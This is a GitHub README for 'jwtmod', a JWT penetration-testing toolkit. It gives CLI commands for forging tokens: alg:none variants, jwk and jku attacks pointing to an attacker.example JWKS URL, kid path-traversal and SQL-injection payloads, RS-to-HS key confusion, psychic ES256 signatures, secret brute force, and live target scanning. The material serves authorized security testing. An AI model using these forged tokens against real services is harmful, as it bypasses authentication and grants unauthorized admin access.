Skip to content

l0lsec/jwtMod

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

4 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

jwtmod

A small JWT security testing toolkit. Ships as a Python CLI and a local Flask web UI that runs the attacks entirely in your browser via WebCrypto.

For authorized security testing only. Most of what this tool does is an authentication bypass against badly-configured verifiers. Don't point it at systems you don't own or aren't explicitly allowed to test.

What's in the box

  • Claim editing--set, --remove, --merge-json, dotted paths, JSON value coercion, and named presets (expire, extend-exp=N, perma, clear-time, admin).
  • Real signing — HS256/384/512, RS256/384/512, PS256/384/512, ES256/384/512, none.
  • Attack recipesalg:none (with case-bypass variants), jwk header embed, jku redirect, kid injection, RS→HS key-confusion, signature stripping, ES256 "psychic signature" (r=s=0), duplicate-claim parser confusion.
  • Inspectioninfo (claim summary + warnings), diff between two tokens.
  • Brute force — HS* verification loop against a bundled ~1k-secret wordlist or your own.
  • Live target testing — paste a raw HTTP request, and jwtmod replays the whole attack battery against the endpoint, grading each response (vulnerable / rejected / inconclusive) against a baseline and a broken-signature control. Routes through an upstream proxy (Burp) and can skip TLS verification.
  • Intruder list — emit the forged-token battery as one JWT per line for Burp Intruder / ffuf / any payload set.
  • Test-case reference — the assessment checklist lives in docs/JWT-TEST-CASES.md, generated from the same catalog the tool runs.

Install

python3 -m venv .venv && source .venv/bin/activate
pip install -r requirements.txt

cryptography is required for the asymmetric algorithms. Flask is only needed for the web UI.

CLI

The CLI uses subcommands. The legacy single-shot python3 cli.py <jwt> --set ... form still works as an alg:none alias.

Inspect

python3 cli.py decode "$JWT"
python3 cli.py info   "$JWT"
python3 cli.py diff   "$JWT_OLD" "$JWT_NEW"

Modify claims

modify keeps the original signature segment as-is — useful when you want to edit a token then feed it to a verifier that doesn't actually check the signature.

python3 cli.py modify "$JWT" --set role=admin --remove exp
python3 cli.py modify "$JWT" --preset admin --preset clear-time
python3 cli.py modify "$JWT" --merge-json '{"scope":"*","aud":["api"]}'
python3 cli.py modify "$JWT" --set user.deleted=false   # dotted path

Presets:

Preset Effect
expire exp = now - 60
extend-exp=SECONDS bump exp by N seconds (default 3600)
perma exp = now + 10 years
clear-time drop exp, nbf, iat
admin force role=admin, isAdmin=true, plus existing keys

--preset admin:keys=role,isAdmin,groups narrows which keys the preset sets.

Forge tokens

# alg:none, with the classic case-bypass variants:
python3 cli.py forge none "$JWT" --set role=admin
python3 cli.py forge none "$JWT" --alg-literal None
python3 cli.py forge none "$JWT" --alg-literal nOnE --no-trailing-dot
python3 cli.py forge none "$JWT" --keep-header-extras

# Re-sign with any supported alg. `--secret` accepts a literal, @file, or 0xHEX.
python3 cli.py forge sign "$JWT" --alg HS256 --secret hunter2 --set role=admin
python3 cli.py forge sign "$JWT" --alg HS512 --secret @secret.bin
python3 cli.py forge sign "$JWT" --alg RS256 --key priv.pem --kid kid-1
python3 cli.py forge sign "$JWT" --alg ES384 --key ec.pem

Attacks

Each attack recipe accepts the same payload flags (--set, --remove, --merge-json, --preset) and the global --json flag for machine output.

# 1) jwk header embed — verifier trusts the public JWK in the header.
python3 cli.py attack jwk-embed "$JWT" --set role=admin --out-priv attacker.pem

# 2) jku — verifier fetches the JWKS at a URL we control.
python3 cli.py attack jku "$JWT" \
  --url https://attacker.example/.well-known/jwks.json \
  --out-jwks jwks.json --out-priv attacker.pem \
  --set role=admin

# 3) kid injection — path/SQL payloads + empty-secret HS256.
python3 cli.py attack kid "$JWT" --value '../../../../dev/null' --set role=admin
python3 cli.py attack kid "$JWT" --value "' UNION SELECT 'AAAAAAAAAAAAAAAAA'--"

# 4) RS→HS confusion — HMAC-sign with the issuer's public PEM as the key.
python3 cli.py attack rs-to-hs "$JWT" --public-key target_pub.pem --set role=admin

# 5) Strip signature — empty third segment, optionally rewriting alg.
python3 cli.py attack strip-sig "$JWT" --alg-literal none

# 6) Psychic ES256 (CVE-2022-21449 class) — r=s=0.
python3 cli.py attack psychic-es256 "$JWT" --set role=admin

Verify

python3 cli.py verify "$JWT" --alg HS256 --secret hunter2   # exits 0/1
python3 cli.py verify "$JWT" --alg RS256 --key issuer_pub.pem

Brute force HS* secrets

# Bundled top wordlist (~1k entries):
python3 cli.py brute "$JWT"

# Custom wordlist, capped at 100k tries:
python3 cli.py brute "$JWT" --wordlist big.txt --max 100000

Live scan against a target

scan reads a raw HTTP request (from --request FILE or stdin), finds the JWT inside it, replays the attack battery against the endpoint, and grades each response. It sends live traffic — authorized targets only.

# Replay through Burp, ignoring its self-signed cert:
python3 cli.py scan --request captured.txt --proxy http://127.0.0.1:8080 --insecure

# Enable the key-dependent tests and privilege-escalation probing:
python3 cli.py scan --request captured.txt \
  --public-key issuer_pub.pem --jku-url https://you.tld/jwks.json --bump-role

# Pipe the request in and get machine-readable output:
pbpaste | python3 cli.py scan --json

Verdicts are anchored against a baseline (original token) and a negative control (broken signature); if the endpoint accepts the broken-signature control, per-attack results are reported as inconclusive instead of a misleading "all vulnerable".

Intruder token list

# One forged JWT per line — feed straight into Burp Intruder / ffuf:
python3 cli.py intruder "$JWT" > tokens.txt
python3 cli.py intruder "$JWT" --bump-role --public-key issuer_pub.pem

# List the test-case catalog:
python3 cli.py intruder --list-cases

Stdin and JSON output

echo "$JWT" | python3 cli.py modify --set role=admin
python3 cli.py forge none "$JWT" --json --set role=admin

Web UI

python3 web.py            # http://127.0.0.1:5000
python3 web.py --port 8000

Paste a JWT, edit the payload, switch tabs to pick an attack. Manual forging and verification runs locally in your browser via SubtleCrypto; the server exposes the same operations under /api/decode, /api/forge, /api/sign, /api/verify, /api/info, /api/diff, /api/brute, and /api/attack/<name> for scripting parity.

The Live target testing panel is server-side: paste a raw HTTP request, click Parse request to pull the JWT out of it, set a proxy / TLS / role-bump options, then Run attack scan to replay the battery and see a graded results table, or Generate intruder list to copy/download the forged tokens. These back onto /api/parse-request, /api/scan, and /api/intruder — and /api/scan makes outbound requests to the target, so use it only where you are authorized.

What each attack catches

Attack Verifier bug exercised
alg:none Accepts alg=none, or fails to canonicalize (None, NONE).
Strip signature Skips signature check when the third segment is empty.
Sign as Accepts an attacker-chosen algorithm.
Embed jwk Trusts the public JWK supplied in the header.
jku Fetches any URL in jku instead of an allowlist.
kid injection Reads the file at kid and HMACs with its contents.
RS→HS confusion Reuses the issuer's public PEM as an HMAC secret.
Psychic ES256 Accepts r=s=0 ECDSA signatures (CVE-2022-21449 class).
Brute force Weak HMAC secret (default, demo, dictionary word).

Out of scope

  • JWE (encrypted JWT) is not implemented — separate spec surface.
  • The jku attack generates a JWKS file; hosting it at the URL is up to you.
  • No packaging / GUI bundling. Run via python3 cli.py and python3 web.py.

About

A small JWT security testing toolkit. Ships as a Python CLI and a local Flask web UI that runs the attacks entirely in your browser via WebCrypto.

Topics

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

No releases published

Packages

 
 
 

Contributors